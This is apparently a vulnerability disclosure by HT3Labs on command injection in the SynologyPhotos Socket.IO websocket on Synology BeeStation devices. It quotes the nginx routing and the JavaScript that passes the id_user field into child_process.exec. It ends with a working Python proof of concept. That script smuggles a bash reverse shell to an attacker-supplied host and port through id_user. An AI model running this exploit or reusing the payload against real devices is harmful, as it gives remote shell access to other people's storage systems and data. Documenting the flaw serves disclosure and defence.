The SynologyPhotos service is suceptible to arbitrary commandline injection through the Socket.IO
Websocket Interface.
HT3Labs reviewied the Nginx configurations to identify different services implemented on the Synology Beestation. HT3Labs identified that the Beestation implements a BeePhotos
service through the nginx confugration implemented extra.conf
file as shown below:
location ~ ^/BeePhotos/FotoSocketIo/socket.io/ {
include proxy.conf;
rewrite /FotoSocketIo(/.*) $1 break;
proxy_set_header Connection $connection_upgrade;
proxy_pass http://unix:/run/synofoto/js-server-websocket.socket;
}
After inspection HT3Labs identified the listener is defined in the js_server.js
file located in /var/packages/Node.js_v18/target/usr/local/bin/node /var/packages/SynologyPhotos/target/nodejs/js-server/js_server.js
.
Upon inspection of the source code, it was identified that the listener uses client defined parameters to construct arguments for an OS command executed using the child_process.exec
function as shown below:
t.registerEventHandler("page-view", (async({operation: t, ...s})=>{
const {id_user: n, timestamp: i, location: o} = s;
_s.pushToTaskQueue({
id: e.id,
user: n,
location: o,
timestamp: i
})
}
, _s = (()=>{
const e = {}
, t = os().promise(e, (async function({id: e, user: t, location: s, timestamp: n}) {
if (void 0 === this[e])
return void (this[e] = {
user: t,
location: s,
timestamp: n
});
const i = n - this[e].timestamp;
i > 0 && s !== this[e].location && (0,
o.exec)(`/var/packages/SynologyPhotos/target/usr/bin/synofoto-bin-add-udc-event --id_user ${t} --type view_page --payload '${JSON.stringify({
location: this[e].location,
duration: i
})}'`),
this[e] = void 0 !== s ? {
user: t,
timestamp: n,
location: s
} : void 0
}
), 1)
HT3Labs utilized this behavior to execute arbitrary commands on the system using the id_user
parameter. This behavior can be replicated using the python script seen below:
import socketio
import threading
import os
host_ip = ""
sio = socketio.Client()
@sio.event
def connect():
print(f"Connected: {sio.sid}")
rev = f"bash -i >& /dev/tcp/{host_ip.split(':')[0]}/{host_ip.split(':')[1]} 0>&1"
sio.emit('page-view', {'id_user': f'pew;{rev};echo pew','timestamp':0,'location':'xxd'})
print("Hopefully Spawned Shellz")
@sio.event
def connect_error():
print("The connection failed!")
if __name__ == "__main__":
if len(os.sys.argv) != 3:
print(" {target_ip} {host_ip}:{host_port}")
exit(0)
target_ip = os.sys.argv[1]
host_ip = os.sys.argv[2]
sio.connect(f'http://{target_ip}:5000/',socketio_path='/FotoSocketIo/socket.io/')